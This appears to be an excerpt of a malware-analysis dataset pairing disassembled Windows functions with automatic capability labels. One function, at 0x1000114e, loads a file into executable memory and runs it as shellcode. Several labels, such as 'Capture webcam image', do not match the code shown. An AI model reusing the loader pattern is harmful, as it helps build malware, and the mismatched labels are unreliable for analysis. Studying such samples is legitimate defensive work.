joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40c006
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ecx, 0xcbf
mov ebx, edx
xor word [eax], dx
lea edx, [ebx + edx]
xchg dh, dl
lea eax, [eax + 2]
loop 0x40c00e
pop ebx
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x405ef0
Capabilities:
Read .ini file

Disassembly:
mov edx, dword [esp + 4]
test edx, edx
je 0x405f2b
mov ecx, dword [esp + 8]
test ecx, ecx
je 0x405f2b
mov eax, dword [esp + 0xc]
test eax, eax
je 0x405f2b
push edx
push 0xffff3cb0
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov ecx, dword [esp + 0x10]
xor edx, edx
cmp eax, 0xffff3cb0
setne dl
mov dword [ecx], eax
mov eax, edx
ret 0x10
xor eax, eax
ret 0x10

Function at 0x405fc0
Capabilities:
Read .ini file

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x406004
mov edx, dword [esp + 0xc]
test edx, edx
je 0x406004
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x406004
mov eax, dword [esp + 0x14]
test eax, eax
je 0x406004
push edi
push esi
mov esi, dword [esp + 0x20]
mov edi, dword [esi]
push edi
push eax
push str.NONE
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov dword [esi], eax
pop edi
mov eax, 1
pop esi
ret 0x14
xor eax, eax
pop esi
ret 0x14

Function at 0x4098d0
Capabilities:
Get file system object information

Disassembly:
sub esp, 0x160
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov eax, dword [esi + 0x20]
push 0
push 0
push 0x1108
push eax
call edi
push eax
call sub.MFC42.DLL_CImageList::FromHandle
test eax, eax
je 0x409901
lea ecx, [esi + 0x48]
call sub.MFC42.DLL_CImageList::Detach
push 0x4001
lea ecx, [esp + 0xc]
push 0x160
push ecx
push 0
push 0x4ae11c
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
test eax, eax
jne 0x409939
push str.Cannot_retrieve_the_Handle_of_SystemImageList_
lea ecx, [esi + 0x44]
call sub.MFC42.DLL_CString::operator_2
pop edi
xor eax, eax
pop esi
add esp, 0x160
ret
mov dword [esi + 0x4c], eax
lea eax, [esi + 0x48]
test eax, eax
je 0x409946
mov eax, dword [eax + 4]
mov edx, dword [esi + 0x20]
push eax
push 0
push 0x1109
push edx
call edi
push eax
call sub.MFC42.DLL_CImageList::FromHandle
pop edi
mov eax, 1
pop esi
add esp, 0x160
ret

Function at 0x409970
Capabilities:
Get disk information

Disassembly:
push 0xffffffffffffffff
push 0x48efb8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push esi
mov esi, ecx
push 0xffff0000
push 0
push 0x1101
mov eax, dword [esi + 0x20]
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
push 0x4ae120
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_3
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov ebx, eax
mov dword [esp + 8], 1
shr ebx, 1
je 0x4099ff
test bl, 1
je 0x4099f0
mov cl, byte [esp + 8]
add cl, 0x41
push ecx
push 0
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::SetAt
lea edx, [esp + 0xc]
mov ecx, esi
push edx
call fcn.00409a30
mov ecx, dword [esp + 8]
shr ebx, 1
inc ecx
test ebx, ebx
mov dword [esp + 8], ecx
jne 0x4099cc
lea ecx, [esp + 0xc]
mov dword [esp + 0x18], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x10]
pop esi
mov eax, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x409a30
Capabilities:
Get disk information

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x48efd8
push eax
mov dword fs:[0], esp
push esi
push edi
mov edi, dword [esp + 0x18]
mov esi, ecx
push edi
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::CString_1
mov eax, dword [edi]
mov dword [esp + 0x10], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
sub eax, 2
je 0x409aa5
dec eax
je 0x409a96
lea ecx, [esp + 0x18]
mov dword [esp + 0x10], 0xffffffff
call sub.MFC42.DLL_CString::CString
xor eax, eax
mov ecx, dword [esp + 8]
mov dword fs:[0], ecx
pop edi
pop esi
add esp, 0xc
ret 4
mov eax, dword [edi]
push eax
call fcn.00403990
add esp, 4
test eax, eax
je 0x409acf
mov edi, dword [edi]
push 0xffff0002
push 0xffff0000
push 0
push 0
push 0
push 0
push 0
push edi
push 0x23
mov ecx, esi
call sub.MFC42.DLL_CTreeCtrl::InsertItem
push 2
push eax
mov ecx, esi
call fcn.0040a870
lea ecx, [esp + 0x18]
mov dword [esp + 0x10], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 8]
pop edi
mov eax, 1
mov dword fs:[0], ecx
pop esi
add esp, 0xc
ret 4
Function at 0x409e70
Capabilities:
Get file system object information

Disassembly:
push 0xffffffffffffffff
push 0x48f066
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x16c
mov eax, dword [esp + 0x180]
push ebx
push ebp
push esi
push edi
mov edi, ecx
push eax
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString_3
push 1
push 0x5c
lea ecx, [esp + 0x1c]
mov dword [esp + 0x18c], 0
call fcn.0048c060
lea ecx, [esp + 0x18]
push 1
push ecx
lea ecx, [esp + 0x18]
mov byte [esp + 0x18c], 1
call sub.MFC42.DLL_CString::Right
mov edx, dword [esp + 0x14]
mov eax, dword [eax]
mov ebp, dword [sym.imp.MSVCRT.dll__mbscmp]
push edx
push eax
call ebp
add esp, 8
lea ecx, [esp + 0x18]
test eax, eax
setne bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0x184], 0
call sub.MFC42.DLL_CString::CString
test bl, bl
je 0x409f16
push 0x4ad700
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator
mov ecx, dword [esp + 0x10]
mov esi, dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
push 0x101
lea eax, [esp + 0x20]
push 0x160
push eax
push 0
push ecx
call esi
test eax, eax
je 0x409f69
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
mov ebx, dword [sym.imp.USER32.dll_DestroyIcon]
push eax
mov dword [esp + 0x18], edx
call ebx
mov edx, dword [esp + 0x10]
push 0x103
lea ecx, [esp + 0x20]
push 0x160
push ecx
push 0
push edx
call esi
test eax, eax
jne 0x409f91
push str.Error_Gettting_SystemFileInfo_
lea ecx, [edi + 0x44]
call sub.MFC42.DLL_CString::operator_2
lea ecx, [esp + 0x10]
mov dword [esp + 0x184], 0xffffffff
call sub.MFC42.DLL_CString::CString
xor eax, eax
jmp 0x40a047
mov eax, dword [esp + 0x1c]
mov esi, dword [esp + 0x20]
push eax
call ebx
lea ecx, [esp + 0x18]
push 1
push ecx
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Right
mov eax, dword [eax]
push 0x4ad700
push eax
call ebp
add esp, 8
lea ecx, [esp + 0x18]
test eax, eax
sete bl
call sub.MFC42.DLL_CString::CString
test bl, bl
je 0x409fdf
mov edx, dword [esp + 0x10]
push 0
lea ecx, [esp + 0x14]
mov eax, dword [edx - 8]
dec eax
push eax
call sub.MFC42.DLL_CString::SetAt
mov ebx, dword [esp + 0x18c]
cmp ebx, 0xffff0000
jne 0x40a007
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
push 0xffff0002
push ebx
push 0
push 0
push 0
push esi
push eax
push ecx
jmp 0x40a026
mov edx, dword [esp + 0x10]
mov ecx, edi
push edx
call fcn.0040a070
mov ecx, dword [esp + 0x14]
push 0xffff0002
push ebx
push 0
push 0
push 0
push esi
push ecx
push eax
push 0x23
mov ecx, edi
call sub.MFC42.DLL_CTreeCtrl::InsertItem
lea ecx, [esp + 0x10]
mov esi, eax
mov dword [esp + 0x184], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov eax, esi
mov ecx, dword [esp + 0x17c]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x178
ret 8
Function at 0x40a440
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x48f107
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov edi, ecx
lea ecx, [esp + 0xc]
mov dword [esp + 0x18], 0
call sub.MFC42.DLL_CString::CString_4
lea ecx, [esp + 0x10]
mov dword [esp + 0x24], 1
call sub.MFC42.DLL_CString::CString_4
mov esi, dword [esp + 0x30]
mov bl, 2
push 0x4f11f4
lea ecx, [esp + 0x10]
mov byte [esp + 0x28], bl
call sub.MFC42.DLL_CString::operator_2
test esi, esi
je 0x40a522
push ebp
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
lea eax, [esp + 0x34]
push esi
push eax
mov ecx, edi
call sub.MFC42.DLL_CTreeCtrl::GetItemText
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x2c], 3
call fcn.0048bec2
lea ecx, [esp + 0x34]
mov byte [esp + 0x28], bl
call sub.MFC42.DLL_CString::CString
push 0x4ad700
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::operator
lea ecx, [esp + 0x10]
lea edx, [esp + 0x14]
push ecx
lea eax, [esp + 0x1c]
push edx
push eax
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x2c], 4
call fcn.0048bec2
lea ecx, [esp + 0x18]
mov byte [esp + 0x28], bl
call sub.MFC42.DLL_CString::CString
mov ecx, dword [edi + 0x20]
push esi
push 3
push 0x110a
push ecx
call ebp
mov esi, eax
test esi, esi
jne 0x40a4a6
pop ebp
push 0x5c
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::TrimRight
mov esi, dword [esp + 0x2c]
lea edx, [esp + 0xc]
push edx
mov ecx, esi
call sub.MFC42.DLL_CString::CString_1
mov dword [esp + 0x18], 1
lea ecx, [esp + 0x10]
mov byte [esp + 0x24], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
mov byte [esp + 0x24], 0
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x1c]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c
ret 8
Function at 0x40d130
Capabilities:
Read .ini file

Disassembly:
sub esp, 0x74
push ebx
push ebp
push esi
push edi
mov edi, ecx
mov eax, dword [edi + 0xa8]
mov ebx, dword [eax + 4]
mov esi, dword [eax + 0x14]
fld dword [ebx + 4]
fmul dword [edi + 0xb4]
fild dword [esp + 0x88]
fsub dword [esi + 4]
fdiv st(1)
call sub.MSVCRT.dll__ftol
fld dword [ebx]
fmul dword [edi + 0xb8]
mov dword [esp + 0x1c], eax
fstp dword [esp + 0x10]
fild dword [esp + 0x8c]
fsub dword [esi]
fdiv dword [esp + 0x10]
call sub.MSVCRT.dll__ftol
fild dword [esp + 0x90]
mov dword [esp + 0x18], eax
fsub dword [esi + 4]
fdiv st(1)
call sub.MSVCRT.dll__ftol
fstp st(0)
fild dword [esp + 0x94]
mov dword [esp + 0x14], eax
fsub dword [esi]
fdiv dword [esp + 0x10]
call sub.MSVCRT.dll__ftol
mov ebp, dword [esp + 0x98]
mov esi, dword [esp + 0x9c]
push str.C:Secure1000Display.INI
push 1
push str.USE_DUMMY
push str.SOFTWARE
mov dword [esp + 0x20], eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
test eax, eax
jne 0x40d21d
mov eax, dword [edi + 0xa8]
fild dword [esp + 0x98]
mov esi, dword [eax + 0x14]
mov ebx, dword [eax + 4]
fsub dword [esi + 4]
fld dword [ebx + 4]
fmul dword [edi + 0xb4]
fdivp st(1)
call sub.MSVCRT.dll__ftol
fild dword [esp + 0x9c]
mov ebp, eax
fsub dword [esi]
fld dword [ebx]
fmul dword [edi + 0xb8]
fdivp st(1)
call sub.MSVCRT.dll__ftol
mov esi, eax
mov ebx, dword [esp + 0x88]
test ebx, ebx
jge 0x40d22a
xor ebx, ebx
mov edx, dword [esp + 0x8c]
test edx, edx
jge 0x40d237
xor edx, edx
mov ecx, dword [esp + 0x90]
test ecx, ecx
jge 0x40d244
xor ecx, ecx
mov eax, dword [esp + 0x94]
test eax, eax
jge 0x40d251
xor eax, eax
cmp dword [esp + 0x1c], 0
jge 0x40d260
mov dword [esp + 0x1c], 0
cmp dword [esp + 0x18], 0
jge 0x40d26f
mov dword [esp + 0x18], 0
cmp dword [esp + 0x14], 0
jge 0x40d27e
mov dword [esp + 0x14], 0
cmp dword [esp + 0x10], 0
jge 0x40d28d
mov dword [esp + 0x10], 0
push dword [esp + 0x10]
push dword [esp + 0x18]
push dword [esp + 0x20]
push dword [esp + 0x28]
push esi
push ebp
push eax
push ecx
push edx
push ebx
lea eax, [esp + 0x48]
push str._04d__04d__04d__04d__04d__04d__04d__04d__04d__04d
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x30
call sub.MFC42.DLL_AfxGetThread
test eax, eax
je 0x40d2c8
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0x7c]
jmp 0x40d2ca
xor eax, eax
mov edx, dword [edi + 0x44]
lea ecx, [esp + 0x20]
push 0x64
push ecx
push edx
mov ecx, eax
call fcn.004206f0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x74
ret 0x18
Function at 0x410f30
Capabilities:
Get disk information

Disassembly:
push 0xffffffffffffffff
push 0x48f988
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
push edi
mov edi, dword [esp + 0x1c]
mov esi, ecx
push edi
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CString::CString_1
mov eax, dword [edi]
mov dword [esp + 0x14], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
test eax, eax
jbe 0x410fe1
cmp eax, 4
jbe 0x410f79
cmp eax, 5
jne 0x410fe1
jmp 0x410fb8
mov edi, dword [edi]
push 0xffff0002
push 0xffff0000
push 0
push 0
push 0
push 0
push 0
push edi
push 0x23
lea ecx, [esi + 0x168]
call sub.MFC42.DLL_CTreeCtrl::InsertItem
mov edi, eax
push ecx
lea eax, [esp + 0x20]
mov ecx, esp
mov dword [esp + 0xc], esp
push eax
call sub.MFC42.DLL_CString::CString_1
push edi
mov ecx, esi
call fcn.00411010
lea ecx, [esp + 0x1c]
mov dword [esp + 0x14], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov eax, 1
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
add esp, 0x10
ret 4
lea ecx, [esp + 0x1c]
mov dword [esp + 0x14], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0xc]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
add esp, 0x10
ret 4
Function at 0x411010
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x48f9a8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x168
push ebx
push ebp
mov ebx, ecx
push str..
lea ecx, [esp + 0x188]
mov dword [esp + 0x17c], 0
call sub.MFC42.DLL_CString::operator
mov ecx, dword [esp + 0x184]
lea eax, [esp + 0x30]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x41107d
lea ecx, [esp + 0x184]
mov dword [esp + 0x178], eax
call sub.MFC42.DLL_CString::CString
jmp 0x411169
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_FindNextFileA]
test byte [esp + 0x38], 0x10
je 0x4110f8
mov esi, 0x4adac8
lea eax, [esp + 0x64]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x4110b9
test cl, cl
je 0x4110b5
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x4110b9
add eax, 2
add esi, 2
test cl, cl
jne 0x411095
xor eax, eax
jmp 0x4110be
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4110f8
mov esi, 0x4ae8a0
lea eax, [esp + 0x64]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x4110ef
test cl, cl
je 0x4110eb
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x4110ef
add eax, 2
add esi, 2
test cl, cl
jne 0x4110cb
xor eax, eax
jmp 0x4110f4
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x411109
lea eax, [esp + 0x38]
push eax
push ebp
call edi
test eax, eax
je 0x411149
jmp 0x411085
lea edx, [esp + 0x10]
mov ecx, 9
xor eax, eax
lea edi, [esp + 0x14]
push edx
push eax
rep stosd dword es:[edi], eax
mov eax, dword [ebx + 0x188]
mov ecx, dword [esp + 0x190]
push 0x110d
push eax
mov dword [esp + 0x20], 0x40
mov dword [esp + 0x40], 1
mov dword [esp + 0x24], ecx
call dword [sym.imp.USER32.dll_SendMessageA]
push ebp
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [esp + 0x18c]
mov dword [esp + 0x180], 0xffffffff
call sub.MFC42.DLL_CString::CString
pop edi
pop esi
mov ecx, dword [esp + 0x170]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x174
ret 8

Function at 0x411af0
Capabilities:
Create directory

Disassembly:
sub esp, 0x104
xor eax, eax
lea edx, [esp]
push ebx
mov ebx, dword [esp + 0x10c]
push ebp
push esi
mov ebp, ecx
push edi
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x5c
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.MSVCRT.dll__mbsrchr]
add esp, 8
test eax, eax
je 0x411b67
lea edx, [esp + 0x10]
push 0
push edx
mov byte [eax], 0
call dword [sym.imp.MSVCRT.dll__access]
add esp, 8
cmp eax, 0xffffffff
jne 0x411b5e
lea eax, [esp + 0x10]
mov ecx, ebp
push eax
call fcn.00411af0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x104
ret 4
Function at 0x411ec0
Capabilities:
Create directory

Disassembly:
sub esp, 0x104
xor eax, eax
lea edx, [esp]
push ebx
mov ebx, dword [esp + 0x10c]
push ebp
push esi
mov ebp, ecx
push edi
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x5c
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.MSVCRT.dll__mbsrchr]
add esp, 8
test eax, eax
je 0x411f37
lea edx, [esp + 0x10]
push 0
push edx
mov byte [eax], 0
call dword [sym.imp.MSVCRT.dll__access]
add esp, 8
cmp eax, 0xffffffff
jne 0x411f2e
lea eax, [esp + 0x10]
mov ecx, ebp
push eax
call fcn.00411ec0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x104
ret 4
Function at 0x412280
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x48fc17
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
mov ebx, ecx
push esi
push edi
lea ecx, [esp + 0xc]
mov dword [esp + 0x20], ebx
mov dword [esp + 0x14], 0
call sub.MFC42.DLL_CString::CString_4
mov esi, dword [esp + 0x38]
mov edi, 1
test esi, esi
mov dword [esp + 0x2c], edi
jne 0x4122fb
mov esi, dword [esp + 0x34]
push 0x4f11f4
mov ecx, esi
call sub.MFC42.DLL_CString::CString_3
mov dword [esp + 0x14], edi
lea ecx, [esp + 0xc]
mov byte [esp + 0x2c], 0
call sub.MFC42.DLL_CString::CString
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
add esp, 0x24
ret 8
push ebp
lea edi, [ebx + 0x64]
lea eax, [esp + 0x14]
push esi
push eax
mov ecx, edi
call sub.MFC42.DLL_CTreeCtrl::GetItemText
mov ebp, dword [sym.imp.MSVCRT.dll__mbscmp]
mov byte [esp + 0x30], 2
mov ecx, dword [ebx + 0x84]
push esi
push 3
push 0x110a
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov esi, eax
test esi, esi
je 0x4123d7
lea edx, [esp + 0x3c]
push esi
push edx
mov ecx, edi
call sub.MFC42.DLL_CTreeCtrl::GetItemText
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x34], 3
call fcn.0048bec2
lea ecx, [esp + 0x3c]
mov byte [esp + 0x30], 2
call sub.MFC42.DLL_CString::CString
lea eax, [esp + 0x1c]
push 1
push eax
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Right
mov eax, dword [eax]
push 0x4ad700
push eax
call ebp
add esp, 8
lea ecx, [esp + 0x1c]
test eax, eax
setne bl
call sub.MFC42.DLL_CString::CString
test bl, bl
je 0x41239d
push 0x4ad700
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator
lea ecx, [esp + 0x14]
lea edx, [esp + 0x10]
push ecx
lea eax, [esp + 0x24]
push edx
push eax
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x34], 4
call fcn.0048bec2
lea ecx, [esp + 0x20]
mov byte [esp + 0x30], 2
call sub.MFC42.DLL_CString::CString
mov ebx, dword [esp + 0x24]
jmp 0x412317
mov esi, dword [esp + 0x38]
lea ecx, [esp + 0x14]
push ecx
mov ecx, esi
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esp + 0x14]
mov dword [esp + 0x18], 1
mov byte [esp + 0x30], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov byte [esp + 0x30], 0
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x28]
pop ebp
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret 8
Function at 0x412c00
Capabilities:
Print debug messages

Disassembly:
push 0xffffffffffffffff
push 0x48fd31
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10c
push ebp
push esi
push edi
mov ebp, ecx
call fcn.00413200
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::CString_4
lea eax, [esp + 0xc]
lea ecx, [ebp + 0x74]
push eax
mov dword [esp + 0x124], 0
call sub.MFC42.DLL_CWnd::GetWindowTextA
push 0xd
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::ReverseFind
add eax, 2
lea ecx, [esp + 0x10]
push eax
push ecx
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Mid
mov edi, dword [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x120], 1
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [ebp + 0x68]
and ecx, 3
test eax, eax
rep movsb byte es:[edi], byte [esi]
je 0x412d71
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x14], ecx
je 0x412d71
mov edi, 0x4aea40
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x18]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
call sub.MFC42.DLL_AfxGetModuleState
mov ecx, dword [eax + 4]
call sub.MFC42.DLL_CCmdTarget::BeginWaitCursor
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea eax, [esp + 0x18]
push eax
mov byte [esp + 0x124], 2
call edi
mov eax, dword [ebp + 0x68]
lea edx, [esp + 0x18]
push edx
push esi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
test eax, eax
jne 0x412d4a
push str.write_ok
call edi
push 0
mov ecx, ebp
call fcn.00412db0
mov eax, dword [ebp + 0x20]
push 0
push 0x5dc
push 0x64
push eax
call dword [sym.imp.USER32.dll_SetTimer]
mov dword [ebp + 0x70], eax
jmp 0x412d5c
push str.write_failed
call edi
push 0
push 0
mov ecx, ebp
call fcn.00412f40
mov byte [esp + 0x120], 1
call sub.MFC42.DLL_AfxGetModuleState
mov ecx, dword [eax + 4]
call sub.MFC42.DLL_CCmdTarget::EndWaitCursor
lea ecx, [esp + 0x10]
mov byte [esp + 0x120], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
mov dword [esp + 0x120], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x118]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x118
ret
Function at 0x4159f0
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x2c
mov eax, dword [esp + 0x38]
push ebx
push ebp
push esi
mov esi, ecx
push edi
push eax
lea ecx, [esp + 0x14]
push 0x4ad1d8
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
mov ebx, dword [esp + 0x50]
add esp, 0xc
lea edx, [esp + 0x10]
mov ecx, esi
push edx
push ebx
call sub.MFC42.DLL_CWnd::SetDlgItemTextA
mov ebp, dword [esp + 0x40]
mov ecx, esi
push ebp
call sub.MFC42.DLL_CWnd::GetDlgItem
mov edx, dword [eax + 0x20]
lea ecx, [esp + 0x2c]
push ecx
push 0
push 0x419
push edx
call dword [sym.imp.USER32.dll_SendMessageA]
push ebx
mov ecx, esi
call sub.MFC42.DLL_CWnd::GetDlgItem
mov edx, dword [eax + 0x20]
lea ecx, [esp + 0x1c]
push ecx
push edx
call dword [sym.imp.USER32.dll_GetWindowRect]
lea eax, [esp + 0x1c]
mov ecx, esi
push eax
call sub.MFC42.DLL_CWnd::ScreenToClient
mov eax, dword [esp + 0x34]
mov ecx, dword [esp + 0x2c]
sub eax, ecx
push ebp
cdq
sub eax, edx
mov edi, eax
sar edi, 1
add edi, ecx
mov ecx, esi
call sub.MFC42.DLL_CWnd::GetDlgItem
mov edx, dword [eax + 0x20]
lea ecx, [esp + 0x2c]
push ecx
push edx
call dword [sym.imp.USER32.dll_GetWindowRect]
lea eax, [esp + 0x2c]
mov ecx, esi
push eax
call sub.MFC42.DLL_CWnd::ScreenToClient
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x1c]
sub eax, ecx
mov ecx, dword [esp + 0x2c]
cdq
sub eax, edx
mov edx, ecx
sar eax, 1
sub edx, eax
add eax, ecx
add edx, edi
add eax, edi
push ebx
mov ecx, esi
mov dword [esp + 0x20], edx
mov dword [esp + 0x28], eax
call sub.MFC42.DLL_CWnd::GetDlgItem
mov edx, dword [esp + 0x28]
mov ecx, dword [esp + 0x20]
push 1
mov esi, dword [esp + 0x28]
sub edx, ecx
push edx
mov edx, dword [esp + 0x24]
sub esi, edx
push esi
push ecx
push edx
mov ecx, eax
call sub.MFC42.DLL_CWnd::MoveWindow
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2c
ret 0xc